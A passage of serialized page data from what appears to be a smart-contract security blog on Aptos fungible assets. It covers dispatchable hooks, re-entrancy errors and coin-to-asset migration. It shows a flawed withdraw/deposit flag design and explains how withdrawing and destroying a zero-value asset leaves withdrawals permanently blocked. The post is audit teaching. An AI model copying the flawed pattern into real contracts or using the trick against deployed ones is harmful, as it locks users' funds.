style":259},[63802],{"type":28,"value":1488},{"type":23,"tag":139,"props":63804,"children":63805},{"class":141,"line":169},[63806,63811,63815,63819,63823],{"type":23,"tag":139,"props":63807,"children":63808},{"style":294},[63809],{"type":28,"value":63810},"    transfer_ref",{"type":23,"tag":139,"props":63812,"children":63813},{"style":982},[63814],{"type":28,"value":2493},{"type":23,"tag":139,"props":63816,"children":63817},{"style":982},[63818],{"type":28,"value":5144},{"type":23,"tag":139,"props":63820,"children":63821},{"style":305},[63822],{"type":28,"value":63325},{"type":23,"tag":139,"props":63824,"children":63825},{"style":259},[63826],{"type":28,"value":1488},{"type":23,"tag":139,"props":63828,"children":63829},{"class":141,"line":178},[63830,63834,63838,63842],{"type":23,"tag":139,"props":63831,"children":63832},{"style":259},[63833],{"type":28,"value":1104},{"type":23,"tag":139,"props":63835,"children":63836},{"style":982},[63837],{"type":28,"value":2493},{"type":23,"tag":139,"props":63839,"children":63840},{"style":305},[63841],{"type":28,"value":59440},{"type":23,"tag":139,"props":63843,"children":63844},{"style":259},[63845],{"type":28,"value":1268},{"type":23,"tag":139,"props":63847,"children":63848},{"class":141,"line":187},[63849],{"type":23,"tag":139,"props":63850,"children":63851},{"style":958},[63852],{"type":28,"value":63853},"    //check paused, gather fees etc.\n",{"type":23,"tag":139,"props":63855,"children":63856},{"class":141,"line":196},[63857,63862,63866,63871,63875,63880,63884,63888,63892,63896],{"type":23,"tag":139,"props":63858,"children":63859},{"style":259},[63860],{"type":28,"value":63861},"    fungible_asset",{"type":23,"tag":139,"props":63863,"children":63864},{"style":982},[63865],{"type":28,"value":1461},{"type":23,"tag":139,"props":63867,"children":63868},{"style":245},[63869],{"type":28,"value":63870},"withdraw_with_ref",{"type":23,"tag":139,"props":63872,"children":63873},{"style":259},[63874],{"type":28,"value":262},{"type":23,"tag":139,"props":63876,"children":63877},{"style":294},[63878],{"type":28,"value":63879},"transfer_ref",{"type":23,"tag":139,"props":63881,"children":63882},{"style":259},[63883],{"type":28,"value":1052},{"type":23,"tag":139,"props":63885,"children":63886},{"style":294},[63887],{"type":28,"value":3943},{"type":23,"tag":139,"props":63889,"children":63890},{"style":259},[63891],{"type":28,"value":1052},{"type":23,"tag":139,"props":63893,"children":63894},{"style":294},[63895],{"type":28,"value":18314},{"type":23,"tag":139,"props":63897,"children":63898},{"style":259},[63899],{"type":28,"value":273},{"type":23,"tag":139,"props":63901,"children":63902},{"class":141,"line":205},[63903],{"type":23,"tag":139,"props":63904,"children":63905},{"style":259},[63906],{"type":28,"value":1897},{"type":23,"tag":139,"props":63908,"children":63909},{"class":141,"line":214},[63910],{"type":23,"tag":139,"props":63911,"children":63912},{"emptyLinePlaceholder":15},[63913],{"type":28,"value":184},{"type":23,"tag":139,"props":63915,"children":63916},{"class":141,"line":1320},[63917,63921,63925,63930,63934,63938,63942,63946],{"type":23,"tag":139,"props":63918,"children":63919},{"style":294},[63920],{"type":28,"value":59575},{"type":23,"tag":139,"props":63922,"children":63923},{"style":294},[63924],{"type":28,"value":4210},{"type":23,"tag":139,"props":63926,"children":63927},{"style":294},[63928],{"type":28,"value":63929}," deposit_hook",{"type":23,"tag":139,"props":63931,"children":63932},{"style":259},[63933],{"type":28,"value":3808},{"type":23,"tag":139,"props":63935,"children":63936},{"style":305},[63937],{"type":28,"value":3990},{"type":23,"tag":139,"props":63939,"children":63940},{"style":982},[63941],{"type":28,"value":2493},{"type":23,"tag":139,"props":63943,"children":63944},{"style":294},[63945],{"type":28,"value":3934},{"type":23,"tag":139,"props":63947,"children":63948},{"style":259},[63949],{"type":28,"value":4591},{"type":23,"tag":139,"props":63951,"children":63952},{"class":141,"line":1329},[63953,63957,63961,63965,63969,63973],{"type":23,"tag":139,"props":63954,"children":63955},{"style":294},[63956],{"type":28,"value":27436},{"type":23,"tag":139,"props":63958,"children":63959},{"style":982},[63960],{"type":28,"value":2493},{"type":23,"tag":139,"props":63962,"children":63963},{"style":305},[63964],{"type":28,"value":59461},{"type":23,"tag":139,"props":63966,"children":63967},{"style":259},[63968],{"type":28,"value":3808},{"type":23,"tag":139,"props":63970,"children":63971},{"style":305},[63972],{"type":28,"value":3990},{"type":23,"tag":139,"props":63974,"children":63975},{"style":259},[63976],{"type":28,"value":4141},{"type":23,"tag":139,"props":63978,"children":63979},{"class":141,"line":1580},[63980,63985,63989,63993],{"type":23,"tag":139,"props":63981,"children":63982},{"style":294},[63983],{"type":28,"value":63984},"    fa",{"type":23,"tag":139,"props":63986,"children":63987},{"style":982},[63988],{"type":28,"value":2493},{"type":23,"tag":139,"props":63990,"children":63991},{"style":305},[63992],{"type":28,"value":59440},{"type":23,"tag":139,"props":63994,"children":63995},{"style":259},[63996],{"type":28,"value":1488},{"type":23,"tag":139,"props":63998,"children":63999},{"class":141,"line":1597},[64000,64004,64008,64012,64016],{"type":23,"tag":139,"props":64001,"children":64002},{"style":294},[64003],{"type":28,"value":63810},{"type":23,"tag":139,"props":64005,"children":64006},{"style":982},[64007],{"type":28,"value":2493},{"type":23,"tag":139,"props":64009,"children":64010},{"style":982},[64011],{"type":28,"value":5144},{"type":23,"tag":139,"props":64013,"children":64014},{"style":305},[64015],{"type":28,"value":63325},{"type":23,"tag":139,"props":64017,"children":64018},{"style":259},[64019],{"type":28,"value":1488},{"type":23,"tag":139,"props":64021,"children":64022},{"class":141,"line":1614},[64023],{"type":23,"tag":139,"props":64024,"children":64025},{"style":259},[64026],{"type":28,"value":12815},{"type":23,"tag":139,"props":64028,"children":64029},{"class":141,"line":1627},[64030],{"type":23,"tag":139,"props":64031,"children":64032},{"style":958},[64033],{"type":28,"value":63853},{"type":23,"tag":139,"props":64035,"children":64036},{"class":141,"line":1636},[64037,64041,64045,64050,64054,64058,64062,64066,64070,64074],{"type":23,"tag":139,"props":64038,"children":64039},{"style":259},[64040],{"type":28,"value":63861},{"type":23,"tag":139,"props":64042,"children":64043},{"style":982},[64044],{"type":28,"value":1461},{"type":23,"tag":139,"props":64046,"children":64047},{"style":245},[64048],{"type":28,"value":64049},"deposit_with_ref",{"type":23,"tag":139,"props":64051,"children":64052},{"style":259},[64053],{"type":28,"value":262},{"type":23,"tag":139,"props":64055,"children":64056},{"style":294},[64057],{"type":28,"value":63879},{"type":23,"tag":139,"props":64059,"children":64060},{"style":259},[64061],{"type":28,"value":1052},{"type":23,"tag":139,"props":64063,"children":64064},{"style":294},[64065],{"type":28,"value":3943},{"type":23,"tag":139,"props":64067,"children":64068},{"style":259},[64069],{"type":28,"value":1052},{"type":23,"tag":139,"props":64071,"children":64072},{"style":294},[64073],{"type":28,"value":59633},{"type":23,"tag":139,"props":64075,"children":64076},{"style":259},[64077],{"type":28,"value":1820},{"type":23,"tag":139,"props":64079,"children":64080},{"class":141,"line":1659},[64081],{"type":23,"tag":139,"props":64082,"children":64083},{"style":259},[64084],{"type":28,"value":1897},{"type":23,"tag":64086,"props":64087,"children":64088},"question",{},[64089,64116],{"type":23,"tag":24,"props":64090,"children":64091},{},[64092,64094,64100,64102,64108,64109,64115],{"type":28,"value":64093},"Why hook functions rely on ",{"type":23,"tag":135,"props":64095,"children":64097},{"className":64096},[],[64098],{"type":28,"value":64099},"*_with_ref",{"type":28,"value":64101}," calls? What would happen if the hook function called ",{"type":23,"tag":135,"props":64103,"children":64105},{"className":64104},[],[64106],{"type":28,"value":64107},"dispatchable_fungible_asset::withdraw",{"type":28,"value":14806},{"type":23,"tag":135,"props":64110,"children":64112},{"className":64111},[],[64113],{"type":28,"value":64114},"fungible_asset::withdraw_with_ref",{"type":28,"value":1132},{"type":23,"tag":64117,"props":64118,"children":64119},"template",{"v-slot:answer-0":7},[64120,64132],{"type":23,"tag":24,"props":64121,"children":64122},{},[64123,64125,64130],{"type":28,"value":64124},"A1: Hook functions rely on ",{"type":23,"tag":135,"props":64126,"children":64128},{"className":64127},[],[64129],{"type":28,"value":64099},{"type":28,"value":64131}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":24,"props":64133,"children":64134},{},[64135,64137,64142],{"type":28,"value":64136},"A2: A ",{"type":23,"tag":135,"props":64138,"children":64140},{"className":64139},[],[64141],{"type":28,"value":64107},{"type":28,"value":64143}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":64145,"children":64146},{},[64147],{"type":28,"value":64148},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":128,"props":64150,"children":64152},{"className":948,"code":64151,"language":947,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[64153],{"type":23,"tag":135,"props":64154,"children":64155},{"__ignoreMap":7},[64156,64251,64271,64286,64306,64349,64364,64371,64378,64497,64516,64531,64550,64593],{"type":23,"tag":139,"props":64157,"children":64158},{"class":141,"line":142},[64159,64163,64167,64171,64175,64179,64183,64187,64191,64195,64199,64203,64207,64211,64215,64219,64223,64227,64231,64235,64239,64243,64247],{"type":23,"tag":139,"props":64160,"children":64161},{"style":294},[64162],{"type":28,"value":59575},{"type":23,"tag":139,"props":64164,"children":64165},{"style":294},[64166],{"type":28,"value":4210},{"type":23,"tag":139,"props":64168,"children":64169},{"style":294},[64170],{"type":28,"value":59584},{"type":23,"tag":139,"props":64172,"children":64173},{"style":259},[64174],{"type":28,"value":3808},{"type":23,"tag":139,"props":64176,"children":64177},{"style":305},[64178],{"type":28,"value":3990},{"type":23,"tag":139,"props":64180,"children":64181},{"style":982},[64182],{"type":28,"value":2493},{"type":23,"tag":139,"props":64184,"children":64185},{"style":294},[64186],{"type":28,"value":3934},{"type":23,"tag":139,"props":64188,"children":64189},{"style":259},[64190],{"type":28,"value":5614},{"type":23,"tag":139,"props":64192,"children":64193},{"style":294},[64194],{"type":28,"value":3943},{"type":23,"tag":139,"props":64196,"children":64197},{"style":982},[64198],{"type":28,"value":2493},{"type":23,"tag":139,"props":64200,"children":64201},{"style":305},[64202],{"type":28,"value":59461},{"type":23,"tag":139,"props":64204,"children":64205},{"style":259},[64206],{"type":28,"value":3808},{"type":23,"tag":139,"props":64208,"children":64209},{"style":305},[64210],{"type":28,"value":3990},{"type":23,"tag":139,"props":64212,"children":64213},{"style":259},[64214],{"type":28,"value":4633},{"type":23,"tag":139,"props":64216,"children":64217},{"style":294},[64218],{"type":28,"value":59633},{"type":23,"tag":139,"props":64220,"children":64221},{"style":982},[64222],{"type":28,"value":2493},{"type":23,"tag":139,"props":64224,"children":64225},{"style":305},[64226],{"type":28,"value":59440},{"type":23,"tag":139,"props":64228,"children":64229},{"style":259},[64230],{"type":28,"value":1052},{"type":23,"tag":139,"props":64232,"children":64233},{"style":294},[64234],{"type":28,"value":63879},{"type":23,"tag":139,"props":64236,"children":64237},{"style":982},[64238],{"type":28,"value":2493},{"type":23,"tag":139,"props":64240,"children":64241},{"style":982},[64242],{"type":28,"value":5144},{"type":23,"tag":139,"props":64244,"children":64245},{"style":305},[64246],{"type":28,"value":63325},{"type":23,"tag":139,"props":64248,"children":64249},{"style":259},[64250],{"type":28,"value":12815},{"type":23,"tag":139,"props":64252,"children":64253},{"class":141,"line":151},[64254,64259,64263,64267],{"type":23,"tag":139,"props":64255,"children":64256},{"style":245},[64257],{"type":28,"value":64258},"    assert_withdraw_flag",{"type":23,"tag":139,"props":64260,"children":64261},{"style":259},[64262],{"type":28,"value":262},{"type":23,"tag":139,"props":64264,"children":64265},{"style":279},[64266],{"type":28,"value":1993},{"type":23,"tag":139,"props":64268,"children":64269},{"style":259},[64270],{"type":28,"value":1820},{"type":23,"tag":139,"props":64272,"children":64273},{"class":141,"line":160},[64274,64278,64282],{"type":23,"tag":139,"props":64275,"children":64276},{"style":259},[64277],{"type":28,"value":60618},{"type":23,"tag":139,"props":64279,"children":64280},{"style":982},[64281],{"type":28,"value":7599},{"type":23,"tag":139,"props":64283,"children":64284},{"style":259},[64285],{"type":28,"value":9783},{"type":23,"tag":139,"props":64287,"children":64288},{"class":141,"line":169},[64289,64294,64298,64302],{"type":23,"tag":139,"props":64290,"children":64291},{"style":245},[64292],{"type":28,"value":64293},"    set_withdraw_flag",{"type":23,"tag":139,"props":64295,"children":64296},{"style":259},[64297],{"type":28,"value":262},{"type":23,"tag":139,"props":64299,"children":64300},{"style":279},[64301],{"type":28,"value":6179},{"type":23,"tag":139,"props":64303,"children":64304},{"style":259},[64305],{"type":28,"value":1820},{"type":23,"tag":139,"props":64307,"children":64308},{"class":141,"line":178},[64309,64313,64317,64321,64325,64329,64333,64337,64341,64345],{"type":23,"tag":139,"props":64310,"children":64311},{"style":259},[64312],{"type":28,"value":63861},{"type":23,"tag":139,"props":64314,"children":64315},{"style":982},[64316],{"type":28,"value":1461},{"type":23,"tag":139,"props":64318,"children":64319},{"style":245},[64320],{"type":28,"value":64049},{"type":23,"tag":139,"props":64322,"children":64323},{"style":259},[64324],{"type":28,"value":262},{"type":23,"tag":139,"props":64326,"children":64327},{"style":294},[64328],{"type":28,"value":63879},{"type":23,"tag":139,"props":64330,"children":64331},{"style":259},[64332],{"type":28,"value":1052},{"type":23,"tag":139,"props":64334,"children":64335},{"style":294},[64336],{"type":28,"value":3943},{"type":23,"tag":139,"props":64338,"children":64339},{"style":259},[64340],{"type":28,"value":1052},{"type":23,"tag":139,"props":64342,"children":64343},{"style":294},[64344],{"type":28,"value":18314},{"type":23,"tag":139,"props":64346,"children":64347},{"style":259},[64348],{"type":28,"value":1820},{"type":23,"tag":139,"props":64350,"children":64351},{"class":141,"line":187},[64352,64356,64360],{"type":23,"tag":139,"props":64353,"children":64354},{"style":259},[64355],{"type":28,"value":60618},{"type":23,"tag":139,"props":64357,"children":64358},{"style":982},[64359],{"type":28,"value":7599},{"type":23,"tag":139,"props":64361,"children":64362},{"style":259},[64363],{"type":28,"value":9783},{"type":23,"tag":139,"props":64365,"children":64366},{"class":141,"line":196},[64367],{"type":23,"tag":139,"props":64368,"children":64369},{"style":259},[64370],{"type":28,"value":1335},{"type":23,"tag":139,"props":64372,"children":64373},{"class":141,"line":205},[64374],{"type":23,"tag":139,"props":64375,"children":64376},{"emptyLinePlaceholder":15},[64377],{"type":28,"value":184},{"type":23,"tag":139,"props":64379,"children":64380},{"class":141,"line":214},[64381,64385,64389,64393,64397,64401,64405,64409,64413,64417,64421,64425,64429,64433,64437,64441,64445,64449,64453,64457,64461,64465,64469,64473,64477,64481,64485,64489,64493],{"type":23,"tag":139,"props":64382,"children":64383},{"style":294},[64384],{"type":28,"value":59575},{"type":23,"tag":139,"props":64386,"children":64387},{"style":294},[64388],{"type":28,"value":4210},{"type":23,"tag":139,"props":64390,"children":64391},{"style":294},[64392],{"type":28,"value":18279},{"type":23,"tag":139,"props":64394,"children":64395},{"style":259},[64396],{"type":28,"value":3808},{"type":23,"tag":139,"props":64398,"children":64399},{"style":305},[64400],{"type":28,"value":3990},{"type":23,"tag":139,"props":64402,"children":64403},{"style":982},[64404],{"type":28,"value":2493},{"type":23,"tag":139,"props":64406,"children":64407},{"style":294},[64408],{"type":28,"value":3934},{"type":23,"tag":139,"props":64410,"children":64411},{"style":259},[64412],{"type":28,"value":5614},{"type":23,"tag":139,"props":64414,"children":64415},{"style":294},[64416],{"type":28,"value":3943},{"type":23,"tag":139,"props":64418,"children":64419},{"style":982},[64420],{"type":28,"value":2493},{"type":23,"tag":139,"props":64422,"children":64423},{"style":305},[64424],{"type":28,"value":59461},{"type":23,"tag":139,"props":64426,"children":64427},{"style":259},[64428],{"type":28,"value":3808},{"type":23,"tag":139,"props":64430,"children":64431},{"style":305},[64432],{"type":28,"value":3990},{"type":23,"tag":139,"props":64434,"children":64435},{"style":259},[64436],{"type":28,"value":4633},{"type":23,"tag":139,"props":64438,"children":64439},{"style":294},[64440],{"type":28,"value":18314},{"type":23,"tag":139,"props":64442,"children":64443},{"style":982},[64444],{"type":28,"value":2493},{"type":23,"tag":139,"props":64446,"children":64447},{"style":305},[64448],{"type":28,"value":3862},{"type":23,"tag":139,"props":64450,"children":64451},{"style":259},[64452],{"type":28,"value":1052},{"type":23,"tag":139,"props":64454,"children":64455},{"style":294},[64456],{"type":28,"value":63879},{"type":23,"tag":139,"props":64458,"children":64459},{"style":982},[64460],{"type":28,"value":2493},{"type":23,"tag":139,"props":64462,"children":64463},{"style":982},[64464],{"type":28,"value":5144},{"type":23,"tag":139,"props":64466,"children":64467},{"style":305},[64468],{"type":28,"value":63325},{"type":23,"tag":139,"props":64470,"children":64471},{"style":259},[64472],{"type":28,"value":1104},{"type":23,"tag":139,"props":64474,"children":64475},{"style":982},[64476],{"type":28,"value":2493},{"type":23,"tag":139,"props":64478,"children":64479},{"style":305},[64480],{"type":28,"value":59440},{"type":23,"tag":139,"props":64482,"children":64483},{"style":294},[64484],{"type":28,"value":5570},{"type":23,"tag":139,"props":64486,"children":64487},{"style":259},[64488],{"type":28,"value":21041},{"type":23,"tag":139,"props":64490,"children":64491},{"style":982},[64492],{"type":28,"value":7599},{"type":23,"tag":139,"props":64494,"children":64495},{"style":259},[64496],{"type":28,"value":59666},{"type":23,"tag":139,"props":64498,"children":64499},{"class":141,"line":1320},[64500,64504,64508,64512],{"type":23,"tag":139,"props":64501,"children":64502},{"style":245},[64503],{"type":28,"value":64258},{"type":23,"tag":139,"props":64505,"children":64506},{"style":259},[64507],{"type":28,"value":262},{"type":23,"tag":139,"props":64509,"children":64510},{"style":279},[64511],{"type":28,"value":6179},{"type":23,"tag":139,"props":64513,"children":64514},{"style":259},[64515],{"type":28,"value":1820},{"type":23,"tag":139,"props":64517,"children":64518},{"class":141,"line":1329},[64519,64523,64527],{"type":23,"tag":139,"props":64520,"children":64521},{"style":259},[64522],{"type":28,"value":60618},{"type":23,"tag":139,"props":64524,"children":64525},{"style":982},[64526],{"type":28,"value":7599},{"type":23,"tag":139,"props":64528,"children":64529},{"style":259},[64530],{"type":28,"value":9783},{"type":23,"tag":139,"props":64532,"children":64533},{"class":141,"line":1580},[64534,64538,64542,64546],{"type":23,"tag":139,"props":64535,"children":64536},{"style":245},[64537],{"type":28,"value":64293},{"type":23,"tag":139,"props":64539,"children":64540},{"style":259},[64541],{"type":28,"value":262},{"type":23,"tag":139,"props":64543,"children":64544},{"style":279},[64545],{"type":28,"value":1993},{"type":23,"tag":139,"props":64547,"children":64548},{"style":259},[64549],{"type":28,"value":1820},{"type":23,"tag":139,"props":64551,"children":64552},{"class":141,"line":1597},[64553,64557,64561,64565,64569,64573,64577,64581,64585,64589],{"type":23,"tag":139,"props":64554,"children":64555},{"style":259},[64556],{"type":28,"value":63861},{"type":23,"tag":139,"props":64558,"children":64559},{"style":982},[64560],{"type":28,"value":1461},{"type":23,"tag":139,"props":64562,"children":64563},{"style":245},[64564],{"type":28,"value":63870},{"type":23,"tag":139,"props":64566,"children":64567},{"style":259},[64568],{"type":28,"value":262},{"type":23,"tag":139,"props":64570,"children":64571},{"style":294},[64572],{"type":28,"value":63879},{"type":23,"tag":139,"props":64574,"children":64575},{"style":259},[64576],{"type":28,"value":1052},{"type":23,"tag":139,"props":64578,"children":64579},{"style":294},[64580],{"type":28,"value":3943},{"type":23,"tag":139,"props":64582,"children":64583},{"style":259},[64584],{"type":28,"value":1052},{"type":23,"tag":139,"props":64586,"children":64587},{"style":294},[64588],{"type":28,"value":18314},{"type":23,"tag":139,"props":64590,"children":64591},{"style":259},[64592],{"type":28,"value":273},{"type":23,"tag":139,"props":64594,"children":64595},{"class":141,"line":1614},[64596],{"type":23,"tag":139,"props":64597,"children":64598},{"style":259},[64599],{"type":28,"value":1897},{"type":23,"tag":24,"props":64601,"children":64602},{},[64603],{"type":28,"value":64604},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":64086,"props":64606,"children":64607},{},[64608,64613],{"type":23,"tag":24,"props":64609,"children":64610},{},[64611],{"type":28,"value":64612},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":64117,"props":64614,"children":64615},{"v-slot:answer-0":7},[64616,64636],{"type":23,"tag":24,"props":64617,"children":64618},{},[64619,64621,64626,64628,64634],{"type":28,"value":64620},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":135,"props":64622,"children":64624},{"className":64623},[],[64625],{"type":28,"value":59411},{"type":28,"value":64627}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":135,"props":64629,"children":64631},{"className":64630},[],[64632],{"type":28,"value":64633},"fungible_asset::destroy_zero",{"type":28,"value":64635},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":64637,"children":64638},{},[64639],{"type":28,"value":64640},"It's important to understand all the features in the standard.",{"type":23,"tag":41,"props":64642,"children":64644},{"id":64643},"migrating-from-coins-to-fungible-assets",[64645],{"type":28,"value":64646},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":64648,"children":64649},{},[64650,64652,64657],{"type":28,"value":64651},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":135,"props":64653,"children":64655},{"className":64654},[],[64656],{"type":28,"value":58866},{"type":28,"value":64658},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":64660,"props":64661,"children":64662},"note",{},[64663],{"type":23,"tag":24,"props":64664,"children":64665},{},[64666,64668,64673,64675,64680],{"type":28,"value":64667},"While the ",{"type":23,"tag":135,"props":64669,"children":64671},{"className":64670},[],[64672],{"type":28,"value":58866},{"type":28,"value":64674}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":135,"props":64676,"children":64678},{"className":64677},[],[64679],{"type":28,"value":58866},{"type":28,"value":73},{"type":23,"tag":24,"props":64682,"children":64683},{},[64684,64685,64691,64693,64698,64700,64705],{"type":28,"value":14625},{"type":23,"tag":135,"props":64686,"children":64688},{"className":64687},[],[64689],{"type":28,"value":64690},"coin_to_fungible_asset",{"type":28,"value":64692}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":135,"props":64694,"children":64696},{"className":64695},[],[64697],{"type":28,"value":58866},{"type":28,"value":64699}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":135,"props":64701,"children":64703},{"className":64702},[],[64704],{"type":28,"value":58866},{"type":28,"value":64706}," is not allowed.",{"type":23,"tag":128,"props":64708,"children":64710},{"className":948,"code":64709,"language":947,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[64711],{"type":23,"tag":135,"props":64712,"children":64713},{"__ignoreMap":7},[64714,64742,64769,64805,64838,64871,64907],{"type":23,"tag":139,"props":64715,"children":64716},{"class":141,"line":142},[64717,64721,64725,64730,64734,64738],{"type":23,"tag":139,"props":64718,"children":64719},{"style":294},[64720],{"type":28,"value":59575},{"type":23,"tag":139,"props":64722,"children":64723},{"style":294},[64724],{"type":28,"value":4210},{"type":23,"tag":139,"props":64726,"children":64727},{"style":294},[64728],{"type":28,"value":64729}," coin_to_fungible_asset",{"type":23,"tag":139,"props":64731,"children":64732},{"style":259},[64733],{"type":28,"value":3808},{"type":23,"tag":139,"props":64735,"children":64736},{"style":305},[64737],{"type":28,"value":4586},{"type":23,"tag":139,"props":64739,"children":64740},{"style":259},[64741],{"type":28,"value":4591},{"type":23,"tag":139,"props":64743,"children":64744},{"class":141,"line":151},[64745,64749,64753,64757,64761,64765],{"type":23,"tag":139,"props":64746,"children":64747},{"style":294},[64748],{"type":28,"value":59085},{"type":23,"tag":139,"props":64750,"children":64751},{"style":982},[64752],{"type":28,"value":2493},{"type":23,"tag":139,"props":64754,"children":64755},{"style":305},[64756],{"type":28,"value":3803},{"type":23,"tag":139,"props":64758,"children":64759},{"style":259},[64760],{"type":28,"value":3808},{"type":23,"tag":139,"props":64762,"children":64763},{"style":305},[64764],{"type":28,"value":4586},{"type":23,"tag":139,"props":64766,"children":64767},{"style":259},[64768],{"type":28,"value":3995},{"type":23,"tag":139,"props":64770,"children":64771},{"class":141,"line":160},[64772,64776,64780,64784,64788,64793,64797,64801],{"type":23,"tag":139,"props":64773,"children":64774},{"style":259},[64775],{"type":28,"value":1104},{"type":23,"tag":139,"props":64777,"children":64778},{"style":982},[64779],{"type":28,"value":2493},{"type":23,"tag":139,"props":64781,"children":64782},{"style":305},[64783],{"type":28,"value":59440},{"type":23,"tag":139,"props":64785,"children":64786},{"style":294},[64787],{"type":28,"value":5570},{"type":23,"tag":139,"props":64789,"children":64790},{"style":305},[64791],{"type":28,"value":64792}," CoinConversionMap",{"type":23,"tag":139,"props":64794,"children":64795},{"style":259},[64796],{"type":28,"value":1052},{"type":23,"tag":139,"props":64798,"children":64799},{"style":305},[64800],{"type":28,"value":4716},{"type":23,"tag":139,"props":64802,"children":64803},{"style":259},[64804],{"type":28,"value":1268},{"type":23,"tag":139,"props":64806,"children":64807},{"class":141,"line":169},[64808,64812,64817,64821,64826,64830,64834],{"type":23,"tag":139,"props":64809,"children":64810},{"style":279},[64811],{"type":28,"value":969},{"type":23,"tag":139,"props":64813,"children":64814},{"style":294},[64815],{"type":28,"value":64816}," metadata",{"type":23,"tag":139,"props":64818,"children":64819},{"style":982},[64820],{"type":28,"value":985},{"type":23,"tag":139,"props":64822,"children":64823},{"style":294},[64824],{"type":28,"value":64825}," ensure_paired_metadata",{"type":23,"tag":139,"props":64827,"children":64828},{"style":259},[64829],{"type":28,"value":3808},{"type":23,"tag":139,"props":64831,"children":64832},{"style":305},[64833],{"type":28,"value":4586},{"type":23,"tag":139,"props":64835,"children":64836},{"style":259},[64837],{"type":28,"value":6456},{"type":23,"tag":139,"props":64839,"children":64840},{"class":141,"line":178},[64841,64845,64850,64854,64859,64863,64867],{"type":23,"tag":139,"props":64842,"children":64843},{"style":279},[64844],{"type":28,"value":969},{"type":23,"tag":139,"props":64846,"children":64847},{"style":294},[64848],{"type":28,"value":64849}," amount",{"type":23,"tag":139,"props":64851,"children":64852},{"style":982},[64853],{"type":28,"value":985},{"type":23,"tag":139,"props":64855,"children":64856},{"style":245},[64857],{"type":28,"value":64858}," burn_internal",{"type":23,"tag":139,"props":64860,"children":64861},{"style":259},[64862],{"type":28,"value":262},{"type":23,"tag":139,"props":64864,"children":64865},{"style":294},[64866],{"type":28,"value":58833},{"type":23,"tag":139,"props":64868,"children":64869},{"style":259},[64870],{"type":28,"value":1820},{"type":23,"tag":139,"props":64872,"children":64873},{"class":141,"line":187},[64874,64878,64882,64887,64891,64895,64899,64903],{"type":23,"tag":139,"props":64875,"children":64876},{"style":259},[64877],{"type":28,"value":63861},{"type":23,"tag":139,"props":64879,"children":64880},{"style":982},[64881],{"type":28,"value":1461},{"type":23,"tag":139,"props":64883,"children":64884},{"style":245},[64885],{"type":28,"value":64886},"mint_internal",{"type":23,"tag":139,"props":64888,"children":64889},{"style":259},[64890],{"type":28,"value":262},{"type":23,"tag":139,"props":64892,"children":64893},{"style":294},[64894],{"type":28,"value":60212},{"type":23,"tag":139,"props":64896,"children":64897},{"style":259},[64898],{"type":28,"value":1052},{"type":23,"tag":139,"props":64900,"children":64901},{"style":294},[64902],{"type":28,"value":18314},{"type":23,"tag":139,"props":64904,"children":64905},{"style":259},[64906],{"type":28,"value":273},{"type":23,"tag":139,"props":64908,"children":64909},{"class":141,"line":196},[64910],{"type":23,"tag":139,"props":64911,"children":64912},{"style":259},[64913],{"type":28,"value":1897},{"type":23,"tag":24,"props":64915,"children":64916},{},[64917,64919,64926],{"type":28,"value":64918},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":64,"props":64920,"children":64923},{"href":64921,"rel":64922},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[68],[64924],{"type":28,"value":64925},"noticed an overlooked detail",{"type":28,"value":64927}," in the linking process.",{"type":23,"tag":128,"props":64929,"children":64931},{"className":948,"code":64930,"language":947,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    